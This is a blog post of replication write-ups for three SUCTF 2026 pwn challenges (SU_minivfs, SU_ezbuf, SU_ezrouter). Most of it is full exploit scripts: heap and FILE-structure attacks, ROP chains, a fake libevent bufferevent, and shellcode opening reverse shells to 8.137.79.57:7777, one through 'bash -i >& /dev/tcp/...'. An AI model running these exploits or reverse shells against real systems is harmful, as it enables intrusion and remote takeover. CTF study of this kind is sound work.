SUCTF-2026-复现记录
SU_minivfs
write函数里面存在混淆,把混淆nop掉之后就发现存在一个off_by_null的溢出问题,后面就是常规的攻击mp_结构体打IO就好

from pwn import *
from pwn_std import *
from SomeofHouse import HouseOfSome
from itertools import product
ip="localhost"
port=8080
p=getProcess(ip,port,'./pwn')
context(os='linux', arch='amd64', log_level='debug')
elf=ELF("./pwn")
libc=ELF("/home/alpha/glibc-all-in-one/libs/2.41-6ubuntu1.2_amd64/libc.so.6")
cmd = """
b printf
b *$rebase(0x0000000000001C35)
"""
def __hash_algo(path: bytes):
v2 = 0x811c9dc5
for c in path:
v2 = (v2 ^ c)
v2 = (v2 * 0x1000193) & 0xFFFFFFFF
t1 = ((v2 >> 16) ^ v2) & 0xFFFFFFFF
t2 = (t1 * 0x7feb352d) & 0xFFFFFFFF
t3 = ((t2 >> 15) ^ t2) & 0xFFFFFFFF
v4 = (t3 * 0x846ca68b) & 0xFFFFFFFF
slot = ((v4 >> 16) ^ v4) & 0xFFFFFFFF
idx = slot & 0xF
auth = str(slot ^ 0xA5A5A5A5).encode()
return idx, auth
# 预计算 0~15 这 16 个 index 所对应的合法 path 和哈希认证码
idx_map = {}
counter = 0
while len(idx_map) < 16:
test_path = f"file{counter}".encode()
idx, auth = __hash_algo(test_path)
if idx not in idx_map:
idx_map[idx] = (test_path, auth)
counter += 1
def add(idx: int, size: int):
path, auth = idx_map[idx]
p.sendlineafter(b"vfs> ", b"touch " + path + b" " + str(size).encode() + b" " + auth)
def dele(idx: int):
path, auth = idx_map[idx]
p.sendlineafter(b"vfs> ", b"rm " + path + b" " + auth)
def show(idx: int):
path, auth = idx_map[idx]
p.sendlineafter(b"vfs> ", b"cat " + path + b" " + auth)
def edit(idx: int, data: bytes):
path, auth = idx_map[idx]
p.sendlineafter(b"vfs> ", b"write " + path + b" " + str(len(data)).encode() + b" " + auth)
p.sendafter(b"bytes) > ", data)
def ls():
p.sendlineafter(b"vfs> ", b"ls")
add(0,0x420)
add(1,0x420)
dele(0)
add(0,0x430)
dele(0)
add(0,0x420)
show(0)
lb=uu64(rc(6))-(0x7fbe94003f10-0x7fbe93e00000)-(0x70b717c0d000-0x70b717c00000)
rc(0x10-6)
hb=uu64(rc(6))-(0x60b846b21290-0x60b846b21000)
print("libc_base=",hex(lb))
print("heap_base=",hex(hb))
##准备制造堆块重叠来攻击mp_结构体
'''
pwndbg> p mp_
$1 = {
trim_threshold = 131072,
top_pad = 131072,
mmap_threshold = 131072,
arena_test = 8,
arena_max = 0,
thp_pagesize = 0,
hp_pagesize = 0,
hp_flags = 0,
n_mmaps = 0,
n_mmaps_max = 65536,
max_n_mmaps = 0,
no_dyn_threshold = 0,
mmapped_mem = 0,
max_mmapped_mem = 0,
sbrk_base = 0x61b89d5cc000 "",
tcache_bins = 64,
tcache_max_bytes = 1032,
tcache_count = 7,
tcache_unsorted_limit = 0
}
pwndbg> p &mp_
$2 = (struct malloc_par *) 0x7dd075c10180 <mp_>
pwndbg> libc
libc : 0x7dd075a00000
'''
dele(0)
dele(1)
#制造堆叠
add(0,0x448)
add(1,0x418)
add(2,0x4f0)
add(3,0x430)
add(4,0x418)
pl1=p64(0)+p64(0x861)+p64(hb+0x2a0)*2
edit(0,pl1)
pl2=p64(0)
pl2=pl2.ljust(0x410,b'\0')
pl2+=p64(0x860)
edit(1,pl2)
dele(2)
#打largebin_attack
add(5,0x438)#堆块重叠
add(6,0x418)#堆块重叠
add(2,0x4f0)
dele(0)
add(7,0x4f0)
dele(7)
pl3=p64(hb+0x290)+p64(lb+0x210180+0x68-0x20)+p64(0)*2
edit(5,pl3)
dele(3)
add(7,0x4f0)
print('mp_',hex(lb+0x210180))
dele(4)
dele(1)
pl4=p64(((hb+0x6f0)>>12)^(lb+libc.sym["_IO_2_1_stdout_"]))
edit(6,pl4)
rdi=lb+0x0000000000119e9c
binsh=lb+next(libc.search('/bin/sh'))
system=lb+libc.sym['system']
rsi=lb+0x000000000011b07d
rax=lb+0x00000000000e4e97
rdx=lb+0x000000000009e68d #pop rdx ; leave ; ret
rbp=lb+0x0000000000028a20
ropchain=p64(rdi)+p64(hb)+p64(rsi)+p64(0x1000)+p64(rbp)+p64(hb+0x2f0-8)+p64(rdx)+p64(7)+p64(lb+libc.sym["mprotect"])+p64(hb+0x300)
shellcode=shellcraft.open('./flag')+shellcraft.read('rax',hb,0x100)+shellcraft.write(1,hb,0x100)
ropchain+=asm(shellcode)
edit(5,ropchain)
##后续直接打IO就好
add(8,0x418)
add(9,0x418)
libc_base=lb
heap_addr=hb+0x2b0-8
stdout_addr=lb+libc.sym["_IO_2_1_stdout_"]
pop_rbp=lb+0x0000000000028a20
leave_ret=lb+0x0000000000029b3f
magic=lb+0x000000000018202e #mov rdx, qword ptr [rax + 0x38] ; mov rdi, rax ; call qword ptr [rdx + 0x20]
movrsp_rdx=lb+0x0000000000062d7f
file1 = IO_FILE_plus_struct()
file1.flags = 0
file1._IO_read_ptr = pop_rbp
file1._IO_read_end = heap_addr#这个地址控制好为我们的rop链
file1._IO_read_base = leave_ret
file1._IO_write_base = 0
file1._IO_write_ptr = movrsp_rdx
file1._IO_write_end = 0
file1._IO_buf_base = stdout_addr+8
file1._lock = heap_addr - 0xc30
file1.chain = magic
# call addr 经过这个leave ret 回到
'''
file1._IO_read_ptr = pop_rbp
file1._IO_read_end = heap_addr + 0x470 - 8
file1._IO_read_base = leave_ret
'''
# 经过这个回到heap_addr + 0x470 , 进行payload
file1._codecvt = stdout_addr
file1._wide_data = stdout_addr - 0x48
file1.vtable = libc.sym['_IO_wfile_jumps'] + libc_base - 0x20
payload=bytes(file1)
print('magic=',hex(magic))
edit(9,payload)
ita()
SU_ezbuf
没学过这个事件处理函数,正好乘此机会来学习一下,程序的大体逻辑是接收网络数据,打包加上 IP 和 Hostname 然后回传
main函数
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
int fd; // 用于保存创建出来的 UDP socket 文件描述符
__int64 v5; // 用于保存 event_new 返回的事件对象指针
struct sockaddr addr; // UDP 绑定地址;反编译器没有还原成更准确的 sockaddr_in
_QWORD v7[4]; // 这里被当作一块原始内存来构造 TCP 监听地址
v7[3] = __readfsqword(0x28u);
// 初始化沙箱环境
sandbox();
// 创建 libevent 的事件循环基座(event base)
// 注意:标准 libevent 的 event_base_new 一般不带参数,
// 这里大概率是反编译器把函数原型识别错了
g_event_base = event_base_new(a1, (__int64)a2);
// 将全局 UDP 上下文结构清零
// 大小为 0x70 字节,后续会作为参数传给 udp_read_cb
memset(&g_udp_ctx, 0, 0x70u);
// 创建一个 IPv4 UDP socket
// socket(AF_INET, SOCK_DGRAM, 0)
fd = socket(2, 2, 0);
// 构造 UDP 绑定地址
//
// 这几句本质上是在手工填写 sockaddr_in 的内存布局:
// sin_family = AF_INET
// sin_port = htons(8889)
// sin_addr = INADDR_ANY
//
*(_QWORD *)&addr.sa_family = 2; // 地址族 = AF_INET
*(_QWORD *)&addr.sa_data[6] = 0; // 后面的字段清零
*(_WORD *)addr.sa_data = htons(0x22B9u); // 端口号 = 0x22B9 = 8889(网络字节序)
// 将 UDP socket 绑定到本地地址
// 长度 0x10 = 16,正好对应 IPv4 的 sockaddr_in 结构大小
// 实际效果相当于绑定到 0.0.0.0:8889
bind(fd, &addr, 0x10u);
// 初始化一个全局标志位
// 从名字看,含义可能是“当前 UDP 上下文不是 TCP”
// 具体用途需要结合其他代码进一步分析
g_udp_is_tcp = 0;
// 把 UDP socket 保存到全局变量,方便后续其他函数访问
g_udp_fd = fd;
// 为 UDP socket 创建一个 libevent 事件对象
//
// 参数含义大致为:
// g_event_base : 事件循环基座
// fd : 监听的 socket
// 18 : 事件类型,18 = 0x12 = EV_READ | EV_PERSIST
// 表示“可读事件 + 持久事件”
// udp_read_cb : 当 socket 可读时调用的回调函数
// &g_udp_ctx : 传递给回调函数的用户上下文
//
// 也就是说,只要 UDP socket 上收到数据,就会反复调用 udp_read_cb
v5 = event_new(
g_event_base,
fd,
18,
(__int64 (__fastcall *)())udp_read_cb,
&g_udp_ctx);
// 将刚刚创建的 UDP 事件加入事件循环
// 第二个参数为 0,表示不设置超时时间
event_add(v5, 0);
// 构造 TCP 监听地址
//
// 这里 v7 被当作 sockaddr_in 的原始内存使用:
// sin_family = AF_INET
// sin_port = htons(8888)
// sin_addr = INADDR_ANY
v7[0] = 2; // AF_INET
v7[1] = 0; // 其余地址字段清零,相当于 INADDR_ANY
WORD1(v7[0]) = htons(0x22B8u); // 端口号 = 0x22B8 = 8888(网络字节序)
// 创建并绑定一个 TCP 监听器
//
// 参数大致含义:
// g_event_base : 事件循环基座
// tcp_listener_cb : 当有新的 TCP 连接到来时调用的回调函数
// 0 : 用户自定义参数,传给回调,这里为 NULL
// 10 : listener 的 flag,通常表示一些行为选项
// 例如地址复用、释放时自动关闭 fd 等
// 0xFFFFFFFFLL : backlog = -1,通常表示使用默认 backlog
// v7 : 绑定地址
// 16 : 地址结构长度(sockaddr_in 大小)
//
// 实际效果:监听 0.0.0.0:8888,当有新连接时调用 tcp_listener_cb
evconnlistener_new_bind(
g_event_base,
(__int64 (__fastcall *)())tcp_listener_cb,
0,
10,
0xFFFFFFFFLL,
v7,
16);
// 启动 libevent 的事件分发循环
//
// 从这里开始,程序进入事件驱动模式,不再顺序往下执行主要业务逻辑,
// 而是持续等待并分发以下事件:
// 1. UDP socket 收到数据 -> 调用 udp_read_cb
// 2. TCP 监听 socket 收到新连接 -> 调用 tcp_listener_cb
event_base_dispatch(g_event_base);
// 正常情况下,只有事件循环退出后才会执行到这里
return 0;
}process_msg函数
unsigned __int64 __fastcall process_msg(__int64 dest, _BYTE *src, int n, const struct sockaddr *addr)
{
__int64 v4; // 临时变量:用于搬运 hostname 溢出区域中的 8 字节数据
__int64 v5; // 同上
__int64 v6; // 同上
__int64 v7; // 同上
_QWORD *s; // 指向新分配的 0x50(80) 字节堆缓冲区,作为待发送的数据包
__int64 output; // bufferevent 的输出缓冲区指针
char name[8]; // 本地 hostname 缓冲区(⚠️ 只有 8 字节)
__int64 v14; // 紧邻 name 的栈变量,会被 gethostname 覆盖
__int64 v15; // 同上
__int64 v16; // 同上
__int64 v17; // 同上
__int64 v18; // 同上
__int64 v19; // 同上
__int64 v20; // 同上
unsigned __int64 v21;
v21 = __readfsqword(0x28u);
// 只有接收到的数据长度大于 0 才继续处理
if ( n > 0 )
{
// 在收到的数据末尾补一个 '\0'
// 这样就能把 src 当作 C 字符串使用
//
// 这里的意图很明显:后面要把 src 传给 inet_pton,
// 而 inet_pton 需要的是字符串形式的 IP 地址,例如 "127.0.0.1"
src[n] = 0;
// 在堆上申请 0x50 = 80 字节缓冲区
// 这块内存后面会被组织成一个响应数据块
s = malloc(0x50u);
// 只有申请成功才继续
if ( s )
{
// 将这 80 字节清零,避免未初始化数据影响后续逻辑
memset(s, 0, 0x50u);
// 尝试把用户输入 src 解释为 IPv4 地址字符串
//
// 参数含义:
// 2 -> AF_INET
// src -> 输入字符串,例如 "1.2.3.4" 会被解析为01020304(大端)
// (char *)s+4-> 解析成功后,把 4 字节二进制 IP 写到 s+4 的位置
//
// 如果解析成功,返回非 0;失败返回 0
if ( inet_pton(2, src, (char *)s + 4) )
{
// 将响应块开头的 2 字节设置为 AF_INET
//
// 也就是说,s 这块数据的前面几个字节看起来像:
// offset 0x00: sa_family / sin_family = AF_INET
// offset 0x04: IPv4 地址(由 inet_pton 写入)
//
*(_WORD *)s = 2;
// 获取本机主机名
//
// 这里有明显漏洞:
// name 只有 8 字节
// 但 gethostname 允许最多写 0x40 = 64 字节
//
// 如果 hostname 长于 7 字节,就会发生栈溢出,
// 覆盖 name 后面的 v14 ~ v20,甚至可能继续覆盖 canary。
gethostname(name, 0x40u);
// 下面这一大段赋值,本质上是在把从 name 开始的连续 64 字节
// 拷贝到 s[2] ~ s[9] 这 8 个 QWORD 位置上。
//
// 因为:
// s[2] ~ s[9] 共 8 * 8 = 64 字节
// 刚好对应 gethostname(name, 0x40) 想写入的 64 字节区域
//
// 换句话说,这里相当于做了:
// memcpy((char *)s + 0x10, name, 0x40);
//
// 只是由于编译器优化 / 反编译效果,变成了手工逐块搬运。
v4 = v14;
s[2] = *(_QWORD *)name; // 拷贝 [name + 0x00, name + 0x07]
s[3] = v4; // 拷贝 [name + 0x08, name + 0x0F]
v5 = v16;
s[4] = v15; // 拷贝 [name + 0x10, name + 0x17]
s[5] = v5; // 拷贝 [name + 0x18, name + 0x1F]
v6 = v18;
s[6] = v17; // 拷贝 [name + 0x20, name + 0x27]
s[7] = v6; // 拷贝 [name + 0x28, name + 0x2F]
v7 = v20;
s[8] = v19; // 拷贝 [name + 0x30, name + 0x37]
s[9] = v7; // 拷贝 [name + 0x38, name + 0x3F]
// 将用户输入 src 原样复制到 dest 指向的位置
//
// 这里的 dest 在上游实际上来源于 &g_udp_ctx,
// 也就是说,这句本质上相当于:
// memcpy(&g_udp_ctx, src, n);
// 如果 n > 0x70,就会发生越界写,越界覆盖到g_udp_is_tcp等变量上面
// 覆盖 g_udp_ctx 后面的全局/静态内存。
memcpy((void *)dest, src, n);
// 检查上下文中的状态:
// dest + 32 处的 4 字节字段是否为 1
// dest + 40 处的 8 字节字段是否非空
//
// 从语义上看:
// *(int *)(dest + 32) 很可能是 “当前是否走 TCP 模式”
// *(void **)(dest + 40) 很可能是 bufferevent *
if ( *(_DWORD *)(dest + 32) == 1 && *(_QWORD *)(dest + 40) )
{
// 如果处于 TCP 模式,则取出 bufferevent 的输出缓冲区
output = bufferevent_get_output(*(_QWORD *)(dest + 40));
// 将 s 这块 80 字节数据“按引用”加入输出缓冲区
//
// 注意:这里不是拷贝数据,而是引用现有堆块 s
// 所以必须提供一个释放回调 sub_1381,
// 以便等数据真正发送完之后再释放 s
evbuffer_add_reference(output, s, 80, (__int64 (__fastcall *)())sub_1381, 0);
}
else
{
// 如果不处于 TCP 模式,则通过 UDP 发回去
//
// 参数解释:
// *(int *)(dest + 48) -> 发送用的 UDP socket fd
// s -> 待发送的数据
// 0x50 -> 发送 80 字节
// addr -> 原始发送方地址
// 0x10 -> sockaddr_in 长度 16 字节
//
// 也就是说:
// 把构造好的响应包通过 UDP 回发给请求者
sendto(*(_DWORD *)(dest + 48), s, 0x50u, 0, addr, 0x10u);
// UDP 分支里 sendto 返回后,这块堆内存就不再需要,立即释放
free(s);
}
}
else
{
// 如果 src 不是合法的 IPv4 字符串,
// inet_pton 解析失败,则释放申请的堆块
free(s);
}
}
}
return v21 - __readfsqword(0x28u);
}漏洞点:
发送数据的时候存在栈上变量的残留的泄露问题,利用这里的信息泄露和对全局变量的覆盖就好,但是有个点很遗憾,我的电脑上面的libc 相对 libevent的偏移不是固定偏移,所以这里只能去使用SUCTF的docker 来完成这一道题目,这里我是发送 TCP 包来实现覆盖的同时触发 evbuffer_add_reference,触发伪造的 bufferevent 中的回调函数劫持控制流

from pwn import *
from pwn_std import *
from SomeofHouse import HouseOfSome
import struct, socket
ip="localhost"
port_tcp = 8888
port_udp = 8889
docker_restart("su_evbuffer_run", wait=0.5)
io_tcp=remote(ip,port_tcp)
io_udp=remote(ip,port_udp,typ='udp')
context(os='linux', arch='amd64', log_level='debug')
elf=ELF("./pwn")
libc=ELF("/home/alpha/glibc-all-in-one/libs/2.35-0ubuntu3.13_amd64/libc.so.6")
reverse_ip = "8.137.79.57"
reverse_port = 7777
sockaddr_val = hex(u64(struct.pack('<H', 2) + struct.pack('>H', reverse_port) + socket.inet_aton(reverse_ip)))
cmd = """
set debug-file-directory /home/alpha/glibc-all-in-one/libs/2.35-0ubuntu9.9_amd64/.debug/
dir /home/alpha/CTF/glibc-source/glibc-2.35/elf
dir /home/alpha/CTF/glibc-source/glibc-2.35/malloc
dir /home/alpha/CTF/PWN/practise/XCTF/SUCTF/2026/SU_evbuffer/libevent-release-2.1.7-rc
b *$rebase(0x00000000000014D6)
"""
io_tcp.send(b"1.1.1.1")
leak_data = io_tcp.recv(0x50)
hb = u64(leak_data[0x28:0x30])
print("heap: " + hex(hb))
lb = u64(leak_data[0x48:0x50])-0x25cb1a
print("libc_base: " + hex(lb))
libevent=u64(leak_data[0x48:0x50])-0x13b1a
print("libevent_base: " + hex(libevent))
# 或者在打容器题目时:
io_udp.send(b"1.1.1.1")
leak_data = io_udp.recv(0x50)
pie=u64(leak_data[0x48:0x50])-(0x5eefa4670619-0x5eefa466f000)
print("pie_base=",hex(pie))
canary=u64(leak_data[0x28:0x30])
print("canary=",hex(canary))
fake_bufferevent_addr=pie+0x40c0
next_ptr=0
rop_chain=lb+0x000000000005a120
fake_bufferevent=p64(0)*2+p64(fake_bufferevent_addr)
fake_bufferevent+=p64(pie+0x41e0-0x50)#v8 rdx
fake_bufferevent+=p64(2)#v6
fake_bufferevent+=p64(0)
fake_bufferevent+=p64(0)
fake_bufferevent=fake_bufferevent.ljust(0x78,b'\x00')
fake_bufferevent+=p64(fake_bufferevent_addr+0x80)
fake_bufferevent+=p64(next_ptr)
fake_bufferevent+=p64(0)
fake_bufferevent+=p64(rop_chain)
fake_bufferevent+=p64(0)
fake_bufferevent+=p64(0x40001)
fake_bufferevent=fake_bufferevent.ljust(0x118,b'\x00')
fake_bufferevent+=p64(fake_bufferevent_addr)
# fake_bufferevent+=p64(0)*2
# fake_bufferevent+=p64(fake_bufferevent_addr)
rdi=lb+0x000000000002a3e5
rsi=lb+0x000000000002be51
rdx_r12=lb+0x000000000011f367
rop_chain=p64(rdi)+p64(pie+0x4000)+p64(rsi)+p64(0x1000)+p64(rdx_r12)+p64(7)+p64(0)+p64(lb+libc.sym["mprotect"])
rop_chain+=p64(pie+0x4228)
shellcode=asm(f'''
;// socket(AF_INET, SOCK_STREAM, IPPROTO_IP)
xor esi, esi
mul rsi
inc esi
mov edi, esi
inc edi
mov al, 41 ;// SYS_socket
syscall
;// connect(soc, (struct sockaddr *)&serv_addr, sizeof(struct sockaddr_in))
mov edi, eax
mov rbx, {sockaddr_val} ;// IP={reverse_ip} Port={reverse_port}
push rbx
mov rsi, rsp
mov dl, 16
mov al, 42 ;// SYS_connect
syscall
;// dup2(soc, 0)
xor esi, esi
mov al, 33 ;// SYS_dup2
syscall
;// dup2(soc, 1)
inc esi
mov al, 33 ;// SYS_dup2
syscall
;// dup2(soc, 2)
inc esi
mov al, 33 ;// SYS_dup2
syscall
mov eax, 0x67616c66 ;// flag
push rax
mov rdi, rsp
xor eax, eax
mov esi, eax
mov al, 2
syscall ;// open
push rax
mov rsi, rsp
xor eax, eax
mov edx, eax
inc eax
mov edi, eax
mov dl, 8
syscall ;// write open() return value
pop rax
test rax, rax
js over
mov edi, eax
mov rsi, rsp
mov edx, 0x01010201
sub edx, 0x01010101
xor eax, eax
syscall ;// read
mov edx, eax
mov rsi, rsp
xor eax, eax
inc eax
mov edi, eax
syscall ;// write
over:
xor edi, edi
mov eax, 0x010101e8
sub eax, 0x01010101
syscall ;// exit
''')
rop_chain+=shellcode
payload=b'1.1.1.1'
payload=payload.ljust(0x20,b'\x00')
payload+=p64(1)
payload+=p64(fake_bufferevent_addr)
payload+=p64(0)
payload+=p64(hb-0x8b0)
payload+=p64(0)
payload+=fake_bufferevent
payload+=rop_chain
print('magic=',hex(lb+0x000000000005a120))
print('call_r8=',hex(libevent+0x000000000000EFF2))
print('v8 = *(_QWORD *)(a1 + 24);=',hex(libevent+0x000000000000EFBE))
print('if ( (v10 & 0x40000) != 0 )=',hex(libevent+0x000000000000F01B))
print('v11 = (void (__fastcall *)(__int64, _QWORD, __int64, _QWORD))v9[2];=',hex(libevent+0x000000000000F013))
print('v10 = *((_DWORD *)v9 + 8);',hex(libevent+0x000000000000F000))
docker_attach("su_evbuffer_run", "pwn", cmd)
io_tcp.send(payload)
io_udp.interactive()
SU_ezrouter
from pwn import *
from pwn_std import *
from SomeofHouse import HouseOfSome
import base64
ip="localhost"
port=8888
reverse_ip = "8.137.79.57"
reverse_port = 7777
sockaddr_val = hex(u64(struct.pack('<H', 2) + struct.pack('>H', reverse_port) + socket.inet_aton(reverse_ip)))
docker_restart("su_ezrouter_run", wait=1)
sleep(1)
# p=remote(ip,port)
context(os='linux', arch='amd64', log_level='debug')
httpelf=ELF("./http")
mainprocelf=ELF("./mainproc")
# libc=ELF("./libc.so.6")
'''
遇到自己需要构建镜像的情况,先依据dockerfile构建一个基础镜像,
随后使用命令来修改镜像
pwn-docker -n you_origin_docker -p 8888:8888 .
之后使用下面的命令来调试
docker_restart("su_evbuffer_run", wait=0.5)
docker_attach("you_origin_docker_run", "your_docker_binary", "b *main\nc")
'''
cmd = """
set debug-file-directory /home/alpha/glibc-all-in-one/libs/2.39-0ubuntu8.7_amd64/.debug/
dir /home/alpha/CTF/glibc-source/glibc-2.39/elf
dir /home/alpha/CTF/glibc-source/glibc-2.39/malloc
b *$rebase(0x00000000000017A9)
b *$rebase(0x0000000000001B94)
b *$rebase(0x0000000000001B0C)
# b *$rebase(0x0000000000001F91)
"""
def set_vpn(passwd, cert, custom):
r = sess.post_json('/cgi-bin/vpn.cgi', {
"action": "set",
"name": "0xa6",
"proto": "abcd",
"server": "1",
"user": "0xa6",
"pass": passwd,
"cert": cert,
"custom": custom
})
print('set_vpn', r.status_code, r.text[:100])
def edit_vpn(custom_content):
r = sess.post_json('/cgi-bin/vpn.cgi', {
'action': 'edit',
'custom': custom_content,
})
print('edit_vpn', r.status_code, r.text[:100])
def apply_vpn():
r = sess.post_json('/cgi-bin/vpn.cgi', {
"action": "apply",
})
print('apply_vpn', r.status_code, r.text[:100])
def add(idx):
r = sess.post_form('/cgi-bin/list.cgi', {
'action': 'add_white',
'idx': idx,
"mac": "123",
"note": "0xa8"
},body_suffix=b'\r\n')
print('add', r.status_code, r.text[:100])
def wifi():
r = sess.post_form('/cgi-bin/wifi.cgi', {
"action": "save",
"ssid": "123",
"password": "123321"
})
print('window', r.status_code, r.text[:100])
sess = HttpSession('127.0.0.1', 8888, timeout=3)
r1 = sess.post_form('/cgi-bin/login.cgi', {
'username': 'normaluser',
'password': 'yhyyyyyyyyyyyhyhuityrscdn',
})
print('r1', r1.status_code, r1.get_header('location'))
r2 = sess.follow_redirect(r1)
print('r2', r2.status_code, r2.get_header('set-cookie'))
print('cookies', sess.cookies)
r3 = sess.get('/control.html')
print('r3', r3.status_code)
print(r3.text[:120])
wifi()
add('0')
add('1')
add('2')
# docker_attach_cgi("su_ezrouter_run", "http", cmd, cgi_name="vpn.cgi",pause_after=False)
# set_vpn('123', '456', '789')
'''
0x5d51e33fe3e0 0x0000000000000000 0x0000000000000101 ................
0x5d51e33fe3f0 0x0000000000000003 0x0000000000363534 ........456.....
0x5d51e33fe400 0x00005d51aa68240d 0x0000000000746573 .$h.Q]..set.....
0x5d51e33fe410 0x0000000000000000 0x0000000000000000 ................
0x5d51e33fe420 0x0000000000000000 0x0000000036617830 ........0xa6....
0x5d51e33fe430 0x0000000000000000 0x0000000000000000 ................
0x5d51e33fe440 0x0000000000000000 0x0000000064636261 ........abcd....
0x5d51e33fe450 0x0000000000000000 0x0000000000000000 ................
0x5d51e33fe460 0x0000000000000000 0x0000000000000031 ........1.......
0x5d51e33fe470 0x0000000000000000 0x0000000000000000 ................
0x5d51e33fe480 0x0000000000000000 0x0000000000000000 ................
0x5d51e33fe490 0x0000000000000000 0x0000000036617830 ........0xa6....
0x5d51e33fe4a0 0x0000000000000000 0x0000000000000000 ................
0x5d51e33fe4b0 0x0000000000000000 0x0000000000333231 ........123.....
0x5d51e33fe4c0 0x0000000000000000 0x0000000000000000 ................
0x5d51e33fe4d0 0x0000000000000000 0x00005d51e33fe4f0 ..........?.Q]..
0x5d51e33fe4e0 0x0000000000000000 0x0000000000000021 ........!.......
'''
shellcode= asm(shellcraft.execve("/bin/bash", ["/bin/bash", "-c", "bash -i >& /dev/tcp/8.137.79.57/7777 0>&1"], 0))
shellcode=shellcode.ljust(0x7eb, b'\x90')+b'\x00'
pl="B64:"+base64.b64encode(shellcode).decode()
set_vpn("1" * 0x20, "\\x00\\xe9\\xf2", pl)
# docker_attach('su_ezrouter_run','mainproc',cmd)
edit_vpn("\\x30\\x53")
apply_vpn()
# ita()
pause()

SUCTF-2026-复现记录
https://a1b2rt.cn//archives/suctf-2026-fu-xian-ji-lu